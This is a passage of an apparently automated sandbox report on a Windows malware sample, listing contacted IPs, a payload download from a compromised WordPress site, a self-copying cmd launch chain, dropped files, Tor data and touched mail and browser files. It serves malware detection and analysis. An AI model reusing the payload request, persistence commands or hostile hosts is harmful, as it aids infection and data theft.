States","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"212.51.156.165","port":9001,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"46.4.40.67","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"91.223.82.154","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"87.118.114.134","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"169.51.43.165","port":9090,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"79.137.70.138","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"23.254.128.38","port":993,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"178.16.208.57","port":443,"protocol":"TCP","country":"Sweden","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"79.219.247.253","port":9001,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"51.15.78.99","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"37.187.239.8","port":9001,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"5.196.239.114","port":9001,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"107.181.174.22","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"148.251.229.164","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"50.7.74.171","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"101.100.144.174","port":9001,"protocol":"TCP","country":"New Zealand","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"212.47.252.91","port":9001,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"85.25.213.211","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"199.189.62.251","port":4000,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"128.31.0.39","port":9005,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"193.70.43.76","port":9001,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"37.221.162.226","port":9001,"protocol":"TCP","country":"Romania","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"178.62.252.82","port":443,"protocol":"TCP","country":"European Union","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"144.217.254.208","port":9001,"protocol":"TCP","country":"Canada","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"178.16.208.59","port":443,"protocol":"TCP","country":"Sweden","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"195.154.232.65","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"136.29.40.192","port":12012,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"188.138.102.98","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"85.145.173.31","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"82.118.242.173","port":28242,"protocol":"TCP","country":"Bulgaria","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"85.10.201.47","port":9001,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"95.141.35.15","port":443,"protocol":"TCP","country":"Italy","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"185.8.177.132","port":24652,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"94.130.182.190","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"84.147.227.64","port":9001,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"78.47.224.202","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"145.239.82.204","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"81.17.16.43","port":443,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"92.243.6.46","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"134.19.177.109","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"192.42.113.102","port":9001,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"5.34.183.205","port":443,"protocol":"TCP","country":"Ukraine","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"195.16.89.145","port":938,"protocol":"TCP","country":"Lithuania","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"195.123.212.240","port":8080,"protocol":"TCP","country":"Ukraine","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"138.201.250.33","port":9011,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"62.138.7.171","port":8001,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"185.217.0.96","port":9999,"protocol":"TCP","country":"Sweden","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"146.185.253.101","port":443,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"5.135.234.164","port":9001,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"185.227.82.7","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"95.215.44.167","port":9001,"protocol":"TCP","country":"Latvia","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"94.23.247.42","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"5.9.191.52","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"88.99.70.107","port":9001,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"188.209.49.203","port":443,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"212.83.154.33","port":8443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"137.74.40.76","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"51.15.73.133","port":9001,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"136.243.176.148","port":443,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"144.217.255.69","port":9001,"protocol":"TCP","country":"Canada","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"163.172.56.248","port":8443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"46.127.12.33","port":443,"protocol":"TCP","country":"Switzerland","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"87.100.136.36","port":80,"protocol":"TCP","country":"Finland","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"217.182.196.67","port":443,"protocol":"TCP","country":"France","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"85.25.159.65","port":80,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"address":"137.226.111.123","port":9001,"protocol":"TCP","country":"Germany","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]}],"dns_resolutions":[{"domain":"mondomusicatania.it","address":"62.149.142.52","country":"Italy","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"domain":"resolver1.opendns.com","address":"208.67.222.222","country":"United States","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_organization":"Cisco Technologies, Inc.","registrar_name_servers":"AUTH1.OPENDNS.COM","registrar_creation_date":"2003-09-04T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"domain":"www.mondomusicatania.it","address":"62.149.142.52","country":"Italy","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"domain":"myip.opendns.com","country":"-","registrar_name":"PDR Ltd. d/b/a PublicDomainRegistry.com","registrar_organization":"Cisco Technologies, Inc.","registrar_name_servers":"AUTH1.OPENDNS.COM","registrar_creation_date":"2003-09-04T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]}],"http_requests":[{"host":"mondomusicatania.it","host_ip":"62.149.142.52:80","url":"/wp-includes/ID3/opds.tif","method":"GET","header":"GET /wp-includes/ID3/opds.tif HTTP/1.1\nCache-Control: no-cache\nConnection: Keep-Alive\nPragma: no-cache\nHost: mondomusicatania.it","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}],"processes":[{"pid":1796,"ppid":0,"name":"a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe","command_line":"","sha256":"a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b","normalized_path":"C:\\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe","uid":"00016010-00001796","icon":"$2c"},{"pid":2136,"ppid":1796,"name":"cmd.exe","command_line":"cmd /c \"\"%APPDATA%\\MICROS~1\\Aepi-1-0\\clfs10_1.exe\" \"C:\\A12830~1.EXE\"\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00016010-00001796","uid":"00016586-00002136"},{"pid":2364,"ppid":2136,"name":"cmd.exe","command_line":"cmd /C \"\"%APPDATA%\\MICROS~1\\Aepi-1-0\\clfs10_1.exe\" \"C:\\A12830~1.EXE\"\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00016586-00002136","uid":"00016593-00002364"},{"pid":2464,"ppid":2364,"name":"clfs10_1.exe","command_line":"\"C:\\A12830~1.EXE\"","sha256":"a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b","normalized_path":"%APPDATA%\\MICROS~1\\Aepi-1-0\\clfs10_1.exe","parent_uid":"00016593-00002364","uid":"00016597-00002464"},{"pid":1264,"ppid":2464,"name":"explorer.exe","command_line":"","sha256":"0a8ce026714e03e72c619307bd598add5f9b639cfd91437cb8d9c847bf9f6894","normalized_path":"%WINDIR%\\explorer.exe","parent_uid":"00016597-00002464","uid":"00017009-00001264"}],"all_imported_dlls":["shlwapi.dll","wshqos.dll","shell32.dll","imm32.dll","NapiNSP.dll","gdi32.dll","apphelp.dll","tzres.dll","msxml6.dll","propsys.dll","comctl32.dll","urlmon.dll","msasn1.dll","cryptdlg.dll","advapi32.dll","msctf.dll","setupapi.dll","kernel32.dll","wship6.dll","msvcrt.dll","ole32.dll","oleaut32.dll","INETRES.dll","msxml6r.dll","ntdll.dll","usp10.dll","winrnr.dll","msxml3.dll","imagehlp.dll","cfgmgr32.dll","WSHTCPIP.DLL","inetcomm.dll","cryptbase.dll","Wldap32.dll","iertutil.dll","FWPUCLNT.DLL","crypt32.dll","devobj.dll","winbrand.dll","pnrpnsp.dll","msoert2.dll","wab32.dll","lpk.dll","winhttp.dll","rpcss.dll","clbcatq.dll","ntmarta.dll","profapi.dll","dnsapi.dll","ACCTRES.dll","wininet.dll","netapi32.dll","msoeacct.dll","KernelBase.dll","rpcrt4.dll","webio.dll","msvcr100.dll","rasadhlp.dll","msxml3r.dll","user32.dll","sechost.dll","msimg32.dll","uxtheme.dll","sspicli.dll","mswsock.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"clfs10_1.exe","sha256":"a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"prefs.js","sha256":"878aa99e2cf190d0c4f35d72398e26d4214e15b13d058412837fe36e67a983d5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"87C6.bat","sha256":"534569c24346fc95b901e04329ff297861cbe61415637df11cee0b3f1c777b42","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"825E.tmp","sha256":"1e6c4a1ff3f847ae2afa5706b99ef142591eb23f5ca3adb392bd3e53a666d36d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8269.tmp","sha256":"703e982287f7142655c3c8542ba446433e38c536f2660fbb190fa4ddfaf08255","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"826A.tmp","sha256":"703e982287f7142655c3c8542ba446433e38c536f2660fbb190fa4ddfaf08255","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"826B.tmp","sha256":"703e982287f7142655c3c8542ba446433e38c536f2660fbb190fa4ddfaf08255","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"826C.tmp","sha256":"703e982287f7142655c3c8542ba446433e38c536f2660fbb190fa4ddfaf08255","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8277.tmp","sha256":"7985b501bbf4ac32143946ea8a9ad061f097a4d5b6cd39525de22fc20b42c43c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8278.tmp","sha256":"7985b501bbf4ac32143946ea8a9ad061f097a4d5b6cd39525de22fc20b42c43c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8279.tmp","sha256":"7985b501bbf4ac32143946ea8a9ad061f097a4d5b6cd39525de22fc20b42c43c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"827A.tmp","sha256":"7985b501bbf4ac32143946ea8a9ad061f097a4d5b6cd39525de22fc20b42c43c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8285.tmp","sha256":"fcdd22864b06b60f9a38efb739ca24841b3e7c5a659e167ba60d30dd795ce5f6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8286.tmp","sha256":"fcdd22864b06b60f9a38efb739ca24841b3e7c5a659e167ba60d30dd795ce5f6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8287.tmp","sha256":"fcdd22864b06b60f9a38efb739ca24841b3e7c5a659e167ba60d30dd795ce5f6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8288.tmp","sha256":"06077198890a9d196c827e91001831fbe2e87ba88e5f9ea99bbd05345bab0956","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8293.tmp","sha256":"06077198890a9d196c827e91001831fbe2e87ba88e5f9ea99bbd05345bab0956","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8294.tmp","sha256":"06077198890a9d196c827e91001831fbe2e87ba88e5f9ea99bbd05345bab0956","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8295.tmp","sha256":"06077198890a9d196c827e91001831fbe2e87ba88e5f9ea99bbd05345bab0956","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"8296.tmp","sha256":"06077198890a9d196c827e91001831fbe2e87ba88e5f9ea99bbd05345bab0956","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]}],"files_written":[{"path":"C:\\a12830390ff7a7c52aaea328bfb990937dd2743475cad44a1ab458159000514b.exe","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%TEMP%\\5DF2\\87C6.tmp","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%TEMP%\\5DF2","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%LOCALAPPDATA%\\Temp","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\MICROS~1\\Aepi-1-0\\clfs10_1.exe","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\Microsoft\\Aepi-1-0","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\System32\\C_1252.NLS","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\Microsoft\\Aepi-1-0\\clfs10_1.exe","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\Mozilla\\Firefox\\Profiles\\a0u7kz53.default-1460755681908\\prefs.js","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%TEMP%\\5DF2\\87C6.bat","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%TEMP%\\9FC9.tmp","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\System32\\ntdll.dll","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\System32\\tzres.dll","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\System32\\en-US\\tzres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\state.tmp","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\router-stability","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\geoip","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\cached-certs","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\cached-consensus","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\unverified-consensus","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\cached-microdesc-consensus","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\unverified-microdesc-consensus","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"C:\\tor\\fallback-consensus","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\cached-microdescs","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\cached-descriptors","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\cached-extrainfo","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\System32\\nslookup.exe","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\System32\\en-US\\nslookup.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%TEMP%\\BE24.bi1","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows Mail","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows Mail\\account{A770D234-3A38-4244-88F4-7A867FDC9959}.oeaccount","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\System32\\msxml3r.dll","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows Mail\\account{B4FCE48D-2097-4415-9537-7933E765DE73}.oeaccount","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows Mail\\account{D71DE24B-BE28-45C4-B4BE-E99C363FDE00}.oeaccount","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%USERPROFILE%\\Contacts","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%USERPROFILE%\\Contacts\\%OSUSER%.contact","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%WINDIR%\\System32\\msxml6r.dll","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\unverified-microdesc-consensus.tmp","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\cached-certs.tmp","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\cached-microdesc-consensus.tmp","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\cached-microdescs.new","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\Microsoft\\{E043D202-BFA5-1278-4914-63668D8847FA}","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Themes\\slideshow.ini","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\APPDATALOW\\SOFTWARE\\MICROSOFT\\3AA922FE-51A7-7CB8-AB0E-15700F2219A4\\","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"key":"HKCU\\","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"key":"HKCU\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"key":"HKCU\\SOFTWARE\\APPDATALOW\\","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"key":"HKCU\\SOFTWARE\\APPDATALOW\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"key":"HKCU\\SOFTWARE\\APPDATALOW\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\{79FF8BE4-8422-134C-56BD-F8F7EA41AC1B}","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\{FBEB3D9D-1EF1-E525-005F-32E93403862D}","sources":[{"report_type":"sandbox","report_id":"5a720a317ca3e14a1770fa93"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\{11A1469